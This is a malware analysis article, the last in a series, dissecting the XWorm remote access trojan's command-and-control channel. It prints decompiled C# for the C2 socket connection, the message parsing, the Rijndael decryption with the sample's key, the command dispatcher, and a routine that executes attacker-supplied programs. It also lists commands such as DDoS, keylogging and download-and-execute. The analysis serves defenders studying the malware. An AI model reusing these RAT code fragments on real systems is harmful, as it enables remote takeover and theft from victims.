012 - Decoding XWorm: Command and Control
Este artículo también está disponible en español
- Introduction
- Initial Exploration and Anti-Analysis Techniques
- Defense Evasion and Persistence
- Lateral Movement
- Keylogger and Cryptocurrency Hijacking
- Telegram Communication and Variant Retrieval
- Command and Control
1. Introduction
Throughout this series, we have examined and analyzed various XWorm capabilities:
- How XWorm is obfuscated, and part of its content encrypted.
- How XWorm detects whether it is running in a virtualized environment or being analyzed.
- How XWorm evades being inspected by Windows Defender and ensures its persistent presence on its victim’s system.
- How XWorm uses USB devices to infect new victims.
- How XWorm intercepts cryptocurrency transactions to steal them.
- How XWorm uses steganography to obtain new versions of itself.
In this article, we will conclude our analysis of XWorm by exploring its Command and Control capabilities.
2. Analysis of Communication with the C2 Server
We begin the analysis by reviewing the code of the function akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ, which runs continuously and invokes the function BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD every 3–10 seconds:
private static void akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ()
{
for (;;)
{
Thread.Sleep(new Random().Next(3000, 10000));
{
BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD();
}
}
}
The function’s code appears complex due to obfuscation; however, we can observe references to network configurations (Socket, receiveBufferSize, sendBufferSize, ProtocolType.Tcp, Connect, etc.):
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.veYDgekcw0bU4jdnY5J8alsB4HT00HWcgPPZj69QgPj61tNLG4BgAEXSJQT6xfAcMu6F9y = -1L;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F = new byte[1];
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.vlofGR2jYYtgBo8ZJYQkrMJ7mCXyaeAUOvhz8Fj4oLsKfA6Z9Bjbu8w4L1oawDMPeG17oJ = new MemoryStream();
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.ReceiveBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.SendBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.Connect(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, Conversions.ToInteger(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.vaPrr1IV8frcD45YWkTGWcPr8LuQlXihBUinL));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.OkuWBmMkpuiVIW6eyvaKWy4CDDKrSTSQwnG6q8u9hJWeul4YEsKDRLLkQu3LmoAhGA89NA = true;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.j4FT1dlaJqQ3jblx3hdeFi6bjwXmQkMdBN8Pj3PmpcYjLDlRuFIRjW11zgFa91XkoXOwiA = RuntimeHelpers.GetObjectValue(new object());
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.oRkru4kYIVUPRva4enZYKUiXdip6AWo5GOCIlJY4K6mvXmarmBevCDWutpso4tvV9TT5Ir(Conversions.ToString(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.TvaCJXe9EYrimDi3sObeVd7NzQvx0fopFC38oM8zJpcyL1AYAFXAeSiuXHgr2BXkNMnCHQ()));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.BeginReceive(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F, 0, 0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F.Length, SocketFlags.None, new AsyncCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.o9x1mOeWpPy464ka6PK9zEVXVQ91kurk2fzW8Rr3WmGK2z2GmM1eU4MTUoPB9EVeoGziI0), null);
TimerCallback timerCallback = new TimerCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.lJC5FDMJRtcFIDSwjsw3CFlq3tIYZOUWMMB5b2xIAYivpM6VTJZGbzHVHiRvzCLIsmnI4m);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.RxLzJ8KpdWFhOHJ6LWJyvCEVqQ6FRPlJrmYVdFdutMN9WYYz7sB6jpLjMeXkK6aO5KvTTC = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
After cleaning up the code a bit, we get the following:
class.vSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
...
class.vBuffer = new byte[1];
class.vMemoryStream = new MemoryStream();
class.vSocket.ReceiveBufferSize = 51200;
class.vSocket.SendBufferSize = 51200;
class.vSocket.Connect(class2.host, Conversions.ToInteger(class2.port));
...
class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), null);
TimerCallback timerCallback = new TimerCallback(class.vState);
class.vTimer = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
We see that XWorm establishes a connection to a host and port, which come from the values decrypted when the malware started; then, it begins receiving traffic sent by the server and stores it in a buffer (vBuffer). Once it finishes receiving traffic, it proceeds to call a function (vCallBack).
Additionally, we see that a timer is created which calls the timerCallback function every 10–15 seconds.
The invoked function, vCallBack, uses its own logic to interpret any message received from the server:
public static void vCallBack(IAsyncResult vReceivedTraffic)
{
int num = class.vSocket.EndReceive(vReceivedTraffic);
if (num > 0)
{
if (class.vControl == -1L)
{
if (class.vBuffer[0] == 0)
{
class.vControl = Conversions.ToLong(class2.GetString(class.vMemoryStream.ToArray()));
class.vMemoryStream.Dispose();
class.vMemoryStream = new MemoryStream();
if (class.vControl == 0L)
{
class.vControl = -1L;
class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), class.vSocket);
return;
}
class.vBuffer = new byte[(int)(class.vControl - 1L) + 1];
}
else
{
class.vMemoryStream.WriteByte(class.vBuffer[0]);
}
}
else
{
class.vMemoryStream.Write(class.vBuffer, 0, num);
if (class.vMemoryStream.Length == class.vControl)
{
ThreadPool.QueueUserWorkItem(new WaitCallback(class.vFuncToExecute), class.vMemoryStream.ToArray());
class.vControl = -1L;
class.vMemoryStream.Dispose();
class.vMemoryStream = new MemoryStream();
class.vBuffer = new byte[1];
}
else
{
class.vBuffer = new byte[(int)(class.vControl - class.vMemoryStream.Length - 1L) + 1];
}
}
class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), class.vSocket);
}
}
The vCallBack function handles incoming data from the C2 server. XWorm expects the server to send instructions in three parts:
- A string representing the payload size (e.g. “20”),
- A separator byte (\x00),
- The actual payload (the instructions).
We can go step by step through how the code to see how XWorm handles this protocol:
-
Read incoming data: The function starts by calling EndReceive, which tells us how many bytes were received. If nothing was received (
num <= 0
), the function exits. -
Initial state – waiting for payload size: If the control variable vControl is -1 (its initial value), we’re still assembling the payload size from the bytes received.
-
Case A: Separator received (
vBuffer[0] == 0
) This means the size string is complete. The accumulated data in vMemoryStream is converted into a number, which is saved into vControl.If the converted number is 0, we ignore it (probably a keep-alive or malformed request) and reset everything to listen again. Otherwise, we prepare a buffer sized exactly to receive the actual payload.
-
Case B: Still receiving size string (
vBuffer[0] != 0
) This means we’re still in the process of building the payload size string, byte by byte. The current byte is appended to the MemoryStream, and we wait for more data.
- Payload reception phase (vControl != -1): At this point, we know how much data to expect. All received bytes are written to the MemoryStream.
- If the total number of bytes received matches vControl, we’ve successfully assembled a full payload.
- That payload is now passed to vFuncToExecute using a thread from the thread pool.
- After execution is queued, the state is reset to prepare for the next instruction.
- Continue receiving: After handling any chunk of data, the function calls BeginReceive again, so it can handle the next piece of data when it arrives.
3. Decrypting the Payload
The C2 server sends the payload encrypted, which is then decrypted using the Rijndael algorithm:
public static byte[] bYp2DT0qddN2(byte[] vReceivedPayload)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array;
try
{
rijndaelManaged.Key = md5CryptoServiceProvider.ComputeHash(class1.GetBytes(class2.key));
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
array = cryptoTransform.TransformFinalBlock(vReceivedPayload, 0, vReceivedPayload.Length);
}
return array;
}
In the analyzed sample, the key is <123456789>
.
4. Command Execution
Once the payload is decrypted, it is split using the Strings.Split function, having the string <Xwormmm>
as separator:
string[] array = Strings.Split(class1.GetString(class1.bYp2DT0qddN2(vReceivedPayload)), Conversions.ToString(class.separador), -1, CompareMethod.Binary);
string text = array[0];
if (Operators.CompareString(text, "rec", false) == 0)
{
zsvYKm3Krg57.UnsetProcessCritical();
Application.Restart();
Environment.Exit(0);
}
else if (Operators.CompareString(text, "CLOSE", false) == 0)
{
zsvYKm3Krg57.UnsetProcessCritical();
class.vSocket.Shutdown(SocketShutdown.Both);
class.vSocket.Close();
Environment.Exit(0);
}
...
The first part from the splitted the payload corresponds to the command, while the second part corresponds to the arguments the command expects; for example, the payload Urlopen<Xwormmm>C:\Windows\System32\calc.exe
would execute the Urlopen
command, passing the path to the Windows calculator as an argument:
if (Operators.CompareString(text, "Urlopen", false) == 0)
{
class.Urlopen(array[1], false);
}
...
public static void Urlopen(string command, bool download)
{
if (download)
{
try
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.DefaultConnectionLimit = 9999;
}
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(command);
httpWebRequest.UserAgent = TFIW2FSLtw9S.yeTD98gQKyr3[new Random().Next(TFIW2FSLtw9S.yeTD98gQKyr3.Length)];
httpWebRequest.AllowAutoRedirect = true;
httpWebRequest.Timeout = 10000;
httpWebRequest.Method = "GET";
using ((HttpWebResponse)httpWebRequest.GetResponse())
{
}
}
else
{
Process.Start(command);
}
}
XWorm supports the following commands:
- rec: changes the process priority from critical to non-critical and restarts the program
- CLOSE: changes the process priority from critical to non-critical and closes the program
- uninstall: removes the malware and its persistence mechanisms
- update: updates the malware with the information sent by the C2
- DW/FM/LN: different ways of downloading and executing programs
- Urlopen: starts the process provided by the C2 (for example, “C:\Windows\System32\calc.exe”)
- PCShutdown: shuts down the computer
- PCRestart: restarts the computer
- PCLogoff: logs the user off
- StartDDos: initiates a DDoS attack on the URL specified by the attacker
- StopDDos: stops an ongoing DDoS attack
- StartReport: sends the running processes to the C2 server
- Xchat/ngrok: sends the agent ID to the C2 server
- plugin: downloads and executes a plugin
- OfflineGet: captures what the user types (keylogger)
- $Cap: takes a screenshot of the device and sends it to the C2 server
- MessageBox: displays a message to the user
Conclusion
After 7 articles, we have finally reached XWorm’s objective: it is a RAT (Remote Access Trojan) with multiple capabilities:
- Keylogger
- Cryptocurrency theft
- Taking screenshots
- Launching a DDoS attack
- Executing a program on its victim’s system
- Downloading and executing a program (for example, ransomware)
- Plugin installation
The vast number of capabilities XWorm has, along with the measures it takes to remain unnoticed, make it an interesting malware to analyze; XWorm is constantly evolving, so it will be interesting to check in a few months what new techniques it has implemented to continue compromising new victims.
Do you have any comments or suggestions?